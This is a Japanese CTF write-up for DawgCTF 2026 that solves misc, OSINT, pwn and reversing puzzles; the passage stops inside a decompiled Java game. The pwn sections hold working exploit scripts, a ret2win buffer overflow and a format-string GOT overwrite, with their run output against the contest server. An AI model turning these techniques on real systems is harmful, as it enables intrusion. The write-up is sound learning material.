DawgCTF 2026

この大会は2026/4/11 1:00(JST)~2026/4/13 1:00(JST)に開催されました。
今回もチームで参戦。結果は4400点で674チーム中174位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord Challenge(Misc 25)

Discordに入り、#flagチャネルのメッセージを見ると、フラグが書いてあった。

DawgCTF{3nj0y_th3_c0mp3t1t10n!}

Hiding in Plain Sight (Misc 75)


問題文はこうなっている。

There's something strange about this image but I can't put my finger on it, any ideas? 
The flag will be the name of the person or object you find, in the format DawgCTF{Chicken_Sandwich}

画像に何か隠れているらしい。画像を小さくすると、前オバマ大統領に見える。

DawgCTF{Barack_Obama}

crazy? i was crazy once! they locked me in a (Misc 150)

リート文字を使いながら、同じ文が繰り返されている。一文ごとに改行を入れてみる。

crazy? i was crazy once! they locked me in a room, a round room, a round rubber room, a round rubber room with rats, round rats, round rubber rats, round rubber rats with wheels, round wheels, round rubber wheels, round rubber wheels that go round and round and round, it drove me }pl cr4zy! 
cr4zy? i w4s cr4zy once! they locked me in 4 room, 4 round room, 4 round rubber room, 4 round rubber room with r4ts, round r4ts, round rubber r4ts, round rubber r4ts with wheels, round wheels, round rubber wheels, round rubber wheels th4t go round 4nd round 4nd round, it drove me eh_ cr4zy! 
cr4zy? i w4s cr4zy onc3! th3y lock3d m3 in 4 room, 4 round room, 4 round rubb3r room, 4 round rubb3r room with r4ts, round r4ts, round rubb3r r4ts, round rubb3r r4ts with wh33ls, round wh33ls, round rubb3r wh33ls, round rubb3r wh33ls th4t go round 4nd round 4nd round, it drov3 m3 dne cr4zy! 
cr4zy? 1 w4s cr4zy onc3! th3y lock3d m3 1n 4 room, 4 round room, 4 round rubb3r room, 4 round rubb3r room w1th r4ts, round r4ts, round rubb3r r4ts, round rubb3r r4ts w1th wh33ls, round wh33ls, round rubb3r wh33ls, round rubb3r wh33ls th4t go round 4nd round 4nd round, 1t drov3 m3 s_e cr4zy! 
cr4zy? 1 w4s cr4zy 0nc3! th3y l0ck3d m3 1n 4 r00m, 4 r0und r00m, 4 r0und rubb3r r00m, 4 r0und rubb3r r00m w1th r4ts, r0und r4ts, r0und rubb3r r4ts, r0und rubb3r r4ts w1th wh33ls, r0und wh33ls, r0und rubb3r wh33ls, r0und rubb3r wh33ls th4t g0 r0und 4nd r0und 4nd r0und, 1t dr0v3 m3 sae cr4zy! 
cr4zy? 1 w45 cr4zy 0nc3! th3y l0ck3d m3 1n 4 r00m, 4 r0und r00m, 4 r0und rubb3r r00m, 4 r0und rubb3r r00m w1th r4t5, r0und r4t5, r0und rubb3r r4t5, r0und rubb3r r4t5 w1th wh33l5, r0und wh33l5, r0und rubb3r wh33l5, r0und rubb3r wh33l5 th4t g0 r0und 4nd r0und 4nd r0und, 1t dr0v3 m3 lp_ cr4zy! 
cr4zy? 1 w45 cr4zy 0nc3! 7h3y l0ck3d m3 1n 4 r00m, 4 r0und r00m, 4 r0und rubb3r r00m, 4 r0und rubb3r r00m w17h r475, r0und r475, r0und rubb3r r475, r0und rubb3r r475 w17h wh33l5, r0und wh33l5, r0und rubb3r wh33l5, r0und rubb3r wh33l5 7h47 g0 r0und 4nd r0und 4nd r0und, 17 dr0v3 m3 efi cr4zy! 
cr4zy? 1 w45 cr4zy 0nc3! 7h3y l0ck3d m3 1n 4 r00m, 4 r0und r00m, 4 r0und rubb3r r00m, 4 r0und rubb3r r00m w17h r475, r0und r475, r0und rubb3r r475, r0und rubb3r r475 w17h wh33l5, r0und wh33l5, r0und rubb3r wh33l5, r0und rubb3r wh33l5 7h47 60 r0und 4nd r0und 4nd r0und, 17 dr0v3 m3 l_y (r4zy! 
(r4zy? 1 w45 (r4zy 0n(3! 7h3y l0(k3d m3 1n 4 r00m, 4 r0und r00m, 4 r0und rubb3r r00m, 4 r0und rubb3r r00m w17h r475, r0und r475, r0und rubb3r r475, r0und rubb3r r475 w17h wh33l5, r0und wh33l5, r0und rubb3r wh33l5, r0und rubb3r wh33l5 7h47 60 r0und 4nd r0und 4nd r0und, 17 dr0v3 m3 m_f (r42y! 
(r42y? 1 w45 (r42y 0n(3! 7h3y l0(k3d m3 1n 4 r00m, 4 r0und r00m, 4 r0und rubb3r r00m, 4 r0und rubb3r r00m w17h r475, r0und r475, r0und rubb3r r475, r0und rubb3r r475 w17h wh33l5, r0und wh33l5, r0und rubb3r wh33l5, r0und rubb3r wh33l5 7h47 60 r0und 4nd r0und 4nd r0und, 17 dr0v3 m3 o_l (r42y! 
(r42y? 1 w45 (r42y 0n(3! 7h3y l0(k3d m3 1n 4 r00m, 4 r0(_)nd r00m, 4 r0(_)nd r(_)883r r00m, 4 r0(_)nd r(_)883r r00m w17h r475, r0(_)nd r475, r0(_)nd r(_)883r r475, r0(_)nd r(_)883r r475 w17h wh33l5, r0(_)nd wh33l5, r0(_)nd r(_)883r wh33l5, r0(_)nd r(_)883r wh33l5 7h47 60 r0(_)nd 4nd r0(_)nd 4nd r0(_)nd, 17 dr0v3 m3 ort (r42y! 
(r42y? 1 w45 (r42y 0n(3! 7h3y l0(k3|) m3 1n 4 r00m, 4 r0(_)n|) r00m, 4 r0(_)n|) r(_)883r r00m, 4 r0(_)n|) r(_)883r r00m w17h r475, r0(_)n|) r475, r0(_)n|) r(_)883r r475, r0(_)n|) r(_)883r r475 w17h wh33l5, r0(_)n|) wh33l5, r0(_)n|) r(_)883r wh33l5, r0(_)n|) r(_)883r wh33l5 7h47 60 r0(_)n|) 4n|) r0(_)n|) 4n|) r0(_)n|), 17 |)r0v3 m3 noc (|242y! 
(|242y? 1 w45 (|242y 0n(3! 7h3y l0(k3|) m3 1n 4 |200m, 4 |20(_)n|) |200m, 4 |20(_)n|) |2(_)883|2 |200m, 4 |20(_)n|) |2(_)883|2 |200m w17h |2475, |20(_)n|) |2475, |20(_)n|) |2(_)883|2 |2475, |20(_)n|) |2(_)883|2 |2475 w17h wh33l5, |20(_)n|) wh33l5, |20(_)n|) |2(_)883|2 wh33l5, |20(_)n|) |2(_)883|2 wh33l5 7h47 60 |20(_)n|) 4n|) |20(_)n|) 4n|) |20(_)n|), 17 |)|20v3 m3 _ll (|242y! 
(|242y? 1 w45 (|242y 0n(3! 7h3y l0(k3|) /\/\3 1n 4 |200/\/\, 4 |20(_)n|) |200/\/\, 4 |20(_)n|) |2(_)883|2 |200/\/\, 4 |20(_)n|) |2(_)883|2 |200/\/\ w17h |2475, |20(_)n|) |2475, |20(_)n|) |2(_)883|2 |2475, |20(_)n|) |2(_)883|2 |2475 w17h wh33l5, |20(_)n|) wh33l5, |20(_)n|) |2(_)883|2 wh33l5, |20(_)n|) |2(_)883|2 wh33l5 7h47 60 |20(_)n|) 4n|) |20(_)n|) 4n|) |20(_)n|), 17 |)|20v3 /\/\3 a_t (|242y! 
(|242y? 1 w45 (|242y 0/\/(3! 7h3y l0(k3|) /\/\3 1/\/ 4 |200/\/\, 4 |20(_)/\/|) |200/\/\, 4 |20(_)/\/|) |2(_)883|2 |200/\/\, 4 |20(_)/\/|) |2(_)883|2 |200/\/\ w17h |2475, |20(_)/\/|) |2475, |20(_)/\/|) |2(_)883|2 |2475, |20(_)/\/|) |2(_)883|2 |2475 w17h wh33l5, |20(_)/\/|) wh33l5, |20(_)/\/|) |2(_)883|2 wh33l5, |20(_)/\/|) |2(_)883|2 wh33l5 7h47 60 |20(_)/\/|) 4/\/|) |20(_)/\/|) 4/\/|) |20(_)/\/|), 17 |)|20v3 /\/\3 sol (|242y! 
(|242y? 1 \/\/45 (|242y 0/\/(3! 7h3y l0(k3|) /\/\3 1/\/ 4 |200/\/\, 4 |20(_)/\/|) |200/\/\, 4 |20(_)/\/|) |2(_)883|2 |200/\/\, 4 |20(_)/\/|) |2(_)883|2 |200/\/\ \/\/17h |2475, |20(_)/\/|) |2475, |20(_)/\/|) |2(_)883|2 |2475, |20(_)/\/|) |2(_)883|2 |2475 \/\/17h \/\/h33l5, |20(_)/\/|) \/\/h33l5, |20(_)/\/|) |2(_)883|2 \/\/h33l5, |20(_)/\/|) |2(_)883|2 \/\/h33l5 7h47 60 |20(_)/\/|) 4/\/|) |20(_)/\/|) 4/\/|) |20(_)/\/|), 17 |)|20v3 /\/\3 _ev (|242y! 
(|242y? 1 \/\/45 (|242y 0/\/(3! 7|-|3y l0(k3|) /\/\3 1/\/ 4 |200/\/\, 4 |20(_)/\/|) |200/\/\, 4 |20(_)/\/|) |2(_)883|2 |200/\/\, 4 |20(_)/\/|) |2(_)883|2 |200/\/\ \/\/17|-| |2475, |20(_)/\/|) |2475, |20(_)/\/|) |2(_)883|2 |2475, |20(_)/\/|) |2(_)883|2 |2475 \/\/17|-| \/\/|-|33l5, |20(_)/\/|) \/\/|-|33l5, |20(_)/\/|) |2(_)883|2 \/\/|-|33l5, |20(_)/\/|) |2(_)883|2 \/\/|-|33l5 7|-|47 60 |20(_)/\/|) 4/\/|) |20(_)/\/|) 4/\/|) |20(_)/\/|), 17 |)|20v3 /\/\3 ah_ (|242\|! 
(|242\|? 1 \/\/45 (|242\| 0/\/(3! 7|-|3\| l0(k3|) /\/\3 1/\/ 4 |200/\/\, 4 |20(_)/\/|) |200/\/\, 4 |20(_)/\/|) |2(_)883|2 |200/\/\, 4 |20(_)/\/|) |2(_)883|2 |200/\/\ \/\/17|-| |2475, |20(_)/\/|) |2475, |20(_)/\/|) |2(_)883|2 |2475, |20(_)/\/|) |2(_)883|2 |2475 \/\/17|-| \/\/|-|33l5, |20(_)/\/|) \/\/|-|33l5, |20(_)/\/|) |2(_)883|2 \/\/|-|33l5, |20(_)/\/|) |2(_)883|2 \/\/|-|33l5 7|-|47 60 |20(_)/\/|) 4/\/|) |20(_)/\/|) 4/\/|) |20(_)/\/|), 17 |)|20v3 /\/\3 i{F (|242\|! 
(|242\|? 1 \/\/45 (|242\| 0/\/(3! 7|-|3\| |_0(k3|) /\/\3 1/\/ 4 |200/\/\, 4 |20(_)/\/|) |200/\/\, 4 |20(_)/\/|) |2(_)883|2 |200/\/\, 4 |20(_)/\/|) |2(_)883|2 |200/\/\ \/\/17|-| |2475, |20(_)/\/|) |2475, |20(_)/\/|) |2(_)883|2 |2475, |20(_)/\/|) |2(_)883|2 |2475 \/\/17|-| \/\/|-|33|_5, |20(_)/\/|) \/\/|-|33|_5, |20(_)/\/|) |2(_)883|2 \/\/|-|33|_5, |20(_)/\/|) |2(_)883|2 \/\/|-|33|_5 7|-|47 60 |20(_)/\/|) 4/\/|) |20(_)/\/|) 4/\/|) |20(_)/\/|), 17 |)|20v3 /\/\3 i{F (|242\|! 
(|242\|? 1 \/\/45 (|242\| 0/\/(3! 7|-|3\| |_0(|<3|) /\/\3 1/\/ 4 |200/\/\, 4 |20(_)/\/|) |200/\/\, 4 |20(_)/\/|) |2(_)883|2 |200/\/\, 4 |20(_)/\/|) |2(_)883|2 |200/\/\ \/\/17|-| |2475, |20(_)/\/|) |2475, |20(_)/\/|) |2(_)883|2 |2475, |20(_)/\/|) |2(_)883|2 |2475 \/\/17|-| \/\/|-|33|_5, |20(_)/\/|) \/\/|-|33|_5, |20(_)/\/|) |2(_)883|2 \/\/|-|33|_5, |20(_)/\/|) |2(_)883|2 \/\/|-|33|_5 7|-|47 60 |20(_)/\/|) 4/\/|) |20(_)/\/|) 4/\/|) |20(_)/\/|), 17 |)|20v3 /\/\3 waD 

各文の最後の方の"drove me"と"crazy!"の間に逆順でフラグの断片がある。最後の文は一番最後にフラグの断片があり、逆にたどっていく。なお"TCg"部分が見つからず、"i{F"が重複しているので調整する。

DawgCTF{i_have_lost_all_control_of_my_life_please_send_help}

HAZMAT (Misc 150)


問題文はこうなっている。

I saw this CRAZY looking truck driving home. Can you figure out what it's carrying?

The flag format will be DawgCTF{PETROLLEUM_JELLY}

トラックの後ろに1049の番号が見える。「UN 1049」で検索すると、AIによる概要に以下のように表示された。

UN 1049は、国際的な危険物輸送基準において「圧縮水素(HYDROGEN, COMPRESSED)」を
特定する4桁の国連番号です。クラス2.1の可燃性ガスに分類され、輸送時の危険有害性や
容器の安全基準が細かく定められています。 
DawgCTF{COMPRESSED_HYDROGEN}

HAZMAT III (Misc 150)


問題文はこうなっている。

Apparently corporate says I have to deliver this really weird looking green vat somewhere, 
can you help me figure out what number I should put on my placard when I transport this?

Your flag will look like DawgCTF{5661}.

画像検索すると、AIによる概要に以下のように表示される。

この画像に写っている製品は、UCARTHERM™(ユーサーサーム)というブランドの熱媒体流体(ヒートトランスファーフルード)です。
HVAC(暖房・換気・空調)業界などで、凍結防止機能が必要な水ベースの熱媒体として広く使用されています。
・製品の用途: 主に空調システムや工業プロセスの凍結防止・熱媒体として使用されます。
・特徴: 漏れ検知のために蛍光黄色に着色されています。
・安全性: 製品の安全データシート(MSDS)を参照してください。

「UCARTHERM MSDS」で検索すると、以下のPDFが見つかる。
https://www.chempoint.com/products/download?grade=30933&type=msds&srsltid=AfmBOooKBmcQNkkiAzve-n2Md17d0UH-QF3eajCgZlOcs_HlPgL8Tcfk

14. TRANSPORT INFORMATIONの章の「UN number」の項目に番号が書いてあった。

UN 3082
DawgCTF{3082}

Hiding in Plain Sight 2 (Misc 175)


問題文はこうなっている。

Something here seems a little off, can you figure out what? 
The flag will be the name of the person or object you find, such as DawgCTF{Turkey_Sandwich}

StegSolveで開き、Red plane 1 を見ると、人物が現れた。

この画像を検索すると、AIによる概要に以下のように表示された。

この画像は、プロレスラーや俳優として知られるジョン・シナのポートレートです。
・彼はWWEで最も偉大なプロレスラーの一人として歴史に名を残しています。
・「U CAN'T SEE ME」のフレーズでも有名です。
・現在は俳優としても多くの映画に出演しています。
DawgCTF{John_Cena}

Gateway to the Turnpike (OSINT 50)


問題文はこうなっている。

They say all roads lead to Rome, but in this part of the mid-Atlantic, all roads lead to a very confusing set of gas stations. 
I snapped this photo on a road trip a while back. 
Do you think you could tell me the ZIP code of the place this was taken?

画像検索すると、以下のページが見つかる。
https://www.facebook.com/MeanwhileinYork/posts/the-eternal-stoplight-breezewood-pabreezewood-pennsylvania-often-dubbed-the-town/1218005587032160/

Breezewood, Pennsylvaniaの景色らしい。
マクドナルドの場所辺りから、Google Mapで調べると、この辺りになる。
https://www.google.com/maps/place/McDonald's/@39.9992867,-78.2408521,3a,75y,85.21h,88.09t/data=!3m7!1e1!3m5!1spyrvntOZqMGZ5hx6vlm1JQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D1.9091292061006016%26panoid%3DpyrvntOZqMGZ5hx6vlm1JQ%26yaw%3D85.21238973926883!7i16384!8i8192!4m6!3m5!1s0x89ca34ff312b02d9:0xe5201bd60aed9c2c!8m2!3d39.9985648!4d-78.2399713!16s%2Fg%2F1hc6dtt4t?entry=ttu&g_ep=EgoyMDI2MDQwOC4wIKXMDSoASAFQAw%3D%3D

住所はこうなっている。

123 S Breezewood Rd, Breezewood, PA 15533 アメリカ合衆国
DawgCTF{15533}

The Temple of Doom (OSINT 50)


問題文はこうなっている。

I used to work at this crazy looking building. I've attached a picture of it, can you guess where it is? 
If you can, the flag is the nickname the building has. 
For instance, if the nickname was "The Dragon Building", the flag would be DawgCTF{The_Dragon_Building}.

画像検索すると、以下のページが見つかる。
https://www.dcnewsnow.com/news/us-and-world/pyramid-for-sale-bids-start-at-70m-for-federal-building-in-california/

建物の名前は以下のようになっている。

Chet Holifield Federal Building

ニックネームは "The Ziggurat Building" とのこと。

DawgCTF{The_Ziggurat_Building}

Дмитрий-шесть (OSINT 50)


問題文はこうなっている。

My friend from Ukraine sent me this weird picture, he says that it's the key to a secret treasure room underground.

Do you know where this picture was taken? 
The flag will be the official name of it, and should be 6 letters total, all capital letters.

画像検索すると、以下のページが見つかる。
https://posfie.com/@54_98554/p/8E8jPhg

Metro-2の写真ということらしい。

DawgCTF{METRO2}

Computer Repair II (OSINT 125)


問題文はこうなっている。

I just got another pic from the warehouse, not a lot to go on here, but could you figure out the screen size of this laptop?

The flag format will look like DawgCTF{18.9IN}.

画像検索すると、AI による概要に次のように表示される。

これはDELLのノートパソコン「Latitude 5590」です。
・15.6インチのフルHD(1920 x 1080)ディスプレイを搭載したビジネス向けモデルです。
・第8世代のIntel Coreプロセッサに対応しており、頑丈な筐体が特徴です。
・テンキー付きのキーボードを搭載しています。
・中古市場では約29,700円から販売されています。

画面サイズは15.6インチ。

DawgCTF{15.6IN}

The Lookout's Legend (OSINT 125)


問題文はこうなっている。

High above the birthplace of the MTO, this mountain offers a view that spans six counties. 
What do the locals call this spot?

画像検索すると、以下のページが見つかる。
https://worldradiomap.com/us-pa/altoona

このページの以下の部分の写真に似ている。

Wopsononock Lookout
Coordinates: 40°34'03" N, 78°26'25" W ; Ground Elevation AMSL: 2253 ft (778.1 m)
Wopsononock Lookout, northwest of Altoona, Pennsylvania is the location of several radio and television broadcast towers.

Google Mapでこの緯度、経度を調べると、以下の名前で出ている。

Wopsy Lookout
DawgCTF{Wopsy_Lookout}

Stacking Flags (Pwn 100)

添付のソースコードはこうなっている。

/*gcc -fno-stack-protector -no-pie -z execstack -g -Wno-implicit-function-declaration in.c -o out*/

#include <stdio.h>
#include <stdlib.h>

void win() {
    FILE *fp;
    char flag[128];

    fp = fopen("flag.txt", "r");
    
    if (!fp) {
        puts("Could not open flag file.");
        fflush(stdout);
        exit(1);
    }
    
    fgets(flag, sizeof(flag), fp);
    puts(flag);
    fflush(stdout);
    fclose(fp);
    exit(0);
}

void vulnerable_function() {
    char buffer[64];
    gets(buffer);
}

int main() {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    fflush(stdout);

    vulnerable_function();
    printf("win() is at: %p\n", win);
    printf("Better luck next time!\n");
    return 0;
}

BOFでwin関数をコールすればよい。

$ gcc -fno-stack-protector -no-pie -z execstack -g -Wno-implicit-function-declaration Stacking_flags.c -o Stacking_flags  
/usr/bin/ld: /tmp/ccCgfaaT.o: in function `vulnerable_function':
/mnt/hgfs/Shared/Stacking_flags.c:27:(.text+0xb8): 警告: the `gets' function is dangerous and should not be used.
$ ROPgadget --binary Stacking_flags | grep ": ret"
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('nc.umbccd.net', 8921)
else:
    p = process('./Stacking_flags')

elf = ELF('./Stacking_flags')

ret_addr = 0x401016
win_addr = elf.symbols['win']

payload = b'A' * 72
payload += p64(ret_addr)
payload += p64(win_addr)

print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to nc.umbccd.net on port 8921: Done
[*] '/mnt/hgfs/Shared/Stacking_flags'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@\x00\x00\x00\x00\x00\xa6\x11@\x00\x00\x00\x00\x00'
DawgCTF{$taching_br1cks}
[*] Closed connection to nc.umbccd.net port 8921
DawgCTF{$taching_br1cks}

Just Print It (Pwn 200)

添付のソースはこうなっている。

/*gcc -fno-stack-protector -no-pie -z execstack -g -Wno-implicit-function-declaration in.c -o out*/
#include <stdio.h>
#include <stdlib.h>

void win() {
    FILE *fp;
    char flag[128];

    fp = fopen("flag.txt", "r");
    if (!fp) {
        puts("Error opening flag file.");
        fflush(stdout);
        exit(1);
    }

    fgets(flag, sizeof(flag), fp);
    printf("Flag: %s\n", flag);

    fflush(stdout);
    fclose(fp);
    exit(0);
}

int main() {
    char buffer[128];

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    fflush(stdout);

    fgets(buffer, sizeof(buffer), stdin);

    printf(buffer);
    puts("\nGoodbye!");
    return 0;
}
$ gcc -fno-stack-protector -no-pie -z execstack -g -Wno-implicit-function-declaration "Just_print_it .c" -o Just_print_it
$ ./Just_print_it
AAAA%p.%p.%p.%p.%p.%p.%p.%p 
AAAA0x7f2ea3903963.0xfbad208b.0x7ffd27220d70.(nil).(nil).0x252e702541414141.0x2e70252e70252e70.0x70252e70252e7025

Goodbye!

FSBの脆弱性があり、オフセットは6であることがわかる。この脆弱性を使って、puts関数アドレスの値をwin関数アドレスの値に書き換えればよい。

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

if len(sys.argv) == 1:
    p = remote('nc.umbccd.net', 8925)
else:
    p = process('./Just_print_it')

elf = ELF('./Just_print_it')

puts_addr = elf.got['puts']
win_addr = elf.symbols['win']

writes_dict = {puts_addr: win_addr}
payload = fmtstr_payload(6, writes_dict)

print(payload)
p.sendline(payload)
data = p.recvrepeat(1).decode('utf-8', errors='ignore')
print(data)

実行結果は以下の通り。

[+] Opening connection to nc.umbccd.net on port 8925: Done
[*] '/mnt/hgfs/Shared/Just_print_it'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes
b'%150c%11$lln%123c%12$hhn%47c%13$hhnaaaab\x00@@\x00\x00\x00\x00\x00\x01@@\x00\x00\x00\x00\x00\x02@@\x00\x00\x00\x00\x00'
                                                                                                                                                     c                                                                                                                                                                        aaaabFlag: DawgCTF{s3v3r_PWNed!}

[*] Closed connection to nc.umbccd.net port 8925
DawgCTF{s3v3r_PWNed!}

Cheater Cheater... (Reverse Engineering 200)

jarをBytecode Viewerでデコンパイルする。

import java.awt.Color;
import java.awt.Component;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.awt.Point;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyAdapter;
import java.awt.event.KeyEvent;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Random;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import javax.swing.InputMap;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.SwingUtilities;
import javax.swing.Timer;
import javax.swing.UIManager;
import javax.swing.UnsupportedLookAndFeelException;

public class SimplePacMan extends JPanel implements ActionListener {
   private static final int tileSize = 24;
   private static final int numTiles = 80;
   private static final int delay = 100;
   private Timer timer;
   private int pacX = 960;
   private int pacY = 960;
   private static final int topbar = 125;
   private int pacVelocityX = 0;
   private int pacVelocityY = 0;
   private int direction = 0;
   private int[][] maze;
   private boolean loser;
   private boolean winner;
   private int score;
   private final int[][] mazedirs = new int[][]{{0, -1}, {0, 1}, {-1, 0}, {1, 0}};
   private static JFrame frame;
   private JTextBasket barbecue2;
   private JTextBasket barbecue;
   private final String flag = "THIS IS NOT HOW YOU ARE SUPPOSED TO DO THE CHALLENGE. YOU CAN IF YOU WANT BUT IT'LL BE EASIER TO JUST CHEAT :) IF YOU DO REVERSE THIS, PLEASE DO A WRITE UP! I'M VERY CURIOUS TO HEAR THE PROCESS";
   protected static final String pacVelocityZ = "6Ach6HiD0JmCc1L+RwxDRzhW3sC1kS6XydgSuWVFpxVXRU8EjfuMxIMoIzMwK/ii";

   private static void runGUI() {
      JFrame.setDefaultLookAndFeelDecorated(true);
      frame = new JFrame("HacMan");
      UIManager.LookAndFeelInfo[] var0 = UIManager.getInstalledLookAndFeels();
      int var1 = var0.length;

      for(int var2 = 0; var2 < var1; ++var2) {
         UIManager.LookAndFeelInfo info = var0[var2];
         if ("GTK+".equals(info.getName())) {
            try {
               UIManager.setLookAndFeel(info.getClassName());
            } catch (InstantiationException | IllegalAccessException | UnsupportedLookAndFeelException | ClassNotFoundException var5) {
               var5.printStackTrace();
            }
            break;
         }
      }

      frame.setDefaultCloseOperation(3);
      SimplePacMan viewer = new SimplePacMan();
      frame.add(viewer);
      frame.pack();
      frame.setSize(1920, 2045);
      frame.setVisible(true);
   }

   public static void main(String[] args) {
      SwingUtilities.invokeLater(new Runnable() {
         public void run() {
            SimplePacMan.runGUI();
         }
      });
   }

   public SimplePacMan() {
      this.generateMaze();
      this.setSize(1920, 2045);
      this.setFocusable(true);
      this.addKeyListener(new KeyAdapter() {
         public void keyPressed(KeyEvent e) {
            switch (e.getKeyCode()) {
               case 37:
                  SimplePacMan.this.pacVelocityX = -24;
                  SimplePacMan.this.pacVelocityY = 0;
                  SimplePacMan.this.direction = 2;
                  break;
               case 38:
                  SimplePacMan.this.pacVelocityX = 0;
                  SimplePacMan.this.pacVelocityY = -24;
                  SimplePacMan.this.direction = 1;
                  break;
               case 39:
                  SimplePacMan.this.pacVelocityX = 24;
                  SimplePacMan.this.pacVelocityY = 0;
                  SimplePacMan.this.direction = 0;
                  break;
               case 40:
                  SimplePacMan.this.pacVelocityX = 0;
                  SimplePacMan.this.pacVelocityY = 24;
                  SimplePacMan.this.direction = 3;
            }

         }
      });
      this.barbecue = new JTextBasket();
      this.barbecue.setName("Cowabunga!");
      this.barbecue.setVisible(true);
      this.barbecue.firePropertyChange("delta", 2, 1);
      this.barbecue2 = new JTextBasket();
      this.barbecue2.setInputMap(2, (InputMap)null);
      this.barbecue2.setVisible(false);
      JTextBasket barbecue2 = new JTextBasket();
      barbecue2.setInputMap(2, (InputMap)null);
      barbecue2.setVisible(true);
      this.timer = new Timer(100, this);
      this.timer.start();
   }

   private void generateMaze() {
      this.maze = new int[80][80];
      ArrayList walls = new ArrayList();
      Random rand = new Random();
      this.barbecue = new JTextBasket();
      this.barbecue.setName("javacode");
      this.barbecue.setEnabled(false);
      this.add(this.barbecue);
      this.maze = this.prims(walls, rand.nextInt(80), rand.nextInt(80), this.maze, rand);
   }

   private int[][] prims(ArrayList walls, int startX, int startY, int[][] maze, Random rand) {
      maze[startX][startY] = 1;
      walls = this.addWalls(walls, startX, startY);

      while(true) {
         while(walls.size() > 0) {
            int windex = rand.nextInt(walls.size());
            Point randWall = (Point)walls.get(windex);
            Point[] near = this.passage(randWall);
            if (near.length == 1) {
               maze[randWall.x][randWall.y] = 1;
               int newX = randWall.x + near[0].x * -1;
               int newY = randWall.y + near[0].y * -1;
               if (newX < 0 || newX >= 80 || newY < 0 || newY >= 80) {
                  walls.remove(windex);
                  continue;
               }

               maze[newX][newY] = 1;
               this.addWalls(walls, newX, newY);
            }

            walls.remove(windex);
         }

         return maze;
      }
   }

   private Point[] passage(Point wall) {
      return (Point[])Arrays.stream(this.mazedirs).filter((w) -> {
         return w[0] + wall.x >= 0 && w[0] + wall.x < 80 && w[1] + wall.y >= 0 && w[1] + wall.y < 80 && this.maze[w[0] + wall.x][w[1] + wall.y] == 1;
      }).map((w) -> {
         return new Point(w[0], w[1]);
      }).toArray((x$0) -> {
         return new Point[x$0];
      });
   }

   private ArrayList addWalls(ArrayList walls, int x, int y) {
      Arrays.stream(this.mazedirs).filter((w) -> {
         return w[0] + x >= 0 && w[0] + x < 80 && w[1] + y >= 0 && w[1] + y < 80 && this.maze[w[0] + x][w[1] + y] == 0;
      }).map((w) -> {
         return new Point(w[0] + x, w[1] + y);
      }).forEach(walls::add);
      return walls;
   }

   public void actionPerformed(ActionEvent e) {
      if (this.score >= 6942069) {
         this.winner = true;
         this.score = 6942069;
      } else {
         int mazeX = (this.pacX + this.pacVelocityX) / 24;
         int mazeY = (this.pacY + this.pacVelocityY) / 24;
         if (mazeX > 0 && mazeX < 80 && mazeY > 0 && mazeY < 80 && this.maze[mazeX][mazeY] != 0) {
            this.pacX += this.pacVelocityX;
            this.pacY += this.pacVelocityY;
            if (this.maze[mazeX][mazeY] == 1) {
               this.maze[mazeX][mazeY] = 2;
               this.score += 10;
               if (this.score == 64000) {
                  this.loser = true;
               }
            }
         }
      }

      this.repaint();
   }

   protected void paintComponent(Graphics g) {
      for(int x = 0; x < 80; ++x) {
         for(int y = 0; y < 80; ++y) {
            if (this.maze[x][y] == 0) {
               g.setColor(Color.BLUE);
               g.fillRect(x * 24, y * 24 + 125, 24, 24);
            } else {
               g.setColor(Color.BLACK);
               g.fillRect(x * 24, y * 24 + 125, 24, 24);
               if (this.maze[x][y] == 1) {
                  g.setColor(Color.CYAN);
                  g.fillOval(x * 24 + 6, y * 24 + 125 + 6, 12, 12);
               }
            }
         }
      }

      g.setColor(Color.YELLOW);
      g.fillArc(this.pacX, this.pacY + 125, 24, 24, 30 + 90 * this.direction, 300);
      g.setColor(Color.WHITE);
      g.fillRect(0, 0, 1920, 100);
      Graphics2D g2 = (Graphics2D)g;
      int fontSize = 50;
      Font f = new Font("Comic Sans MS", 1, fontSize);
      g2.setFont(f);
      g2.setColor(Color.RED);
      g2.drawString("Highscore: 6942069", 20, 100);
      g2.drawString("Your Score: " + this.score, 1320, 100);
      g2.setColor(Color.BLACK);
      g2.drawString("HAC - MAN", 735, 75);
      if (this.loser) {
         g.setColor(Color.RED);
         g.fillRect(480, 480, 980, 980);
         g.setColor(Color.WHITE);
         g.fillRect(490, 490, 960, 960);
         g2.setColor(Color.RED);
         g2.drawString("YOU LOSE!", 520, 580);
         f = new Font("Comic Sans MS", 1, 30);
         g2.setColor(Color.BLACK);
         g2.setFont(f);
         g2.drawString("In order to win, you need to cheat!", 520, 680);
         g2.drawString("The game will now close in 5... good luck!", 520, 780);
         Executors.newSingleThreadScheduledExecutor().schedule(() -> {
            System.exit(0);
         }, 5L, TimeUnit.SECONDS);
      }

      if (this.winner) {
         g.setColor(Color.GREEN);
         g.fillRect(480, 480, 980, 980);
         g.setColor(Color.WHITE);
         g.fillRect(490, 490, 960, 960);
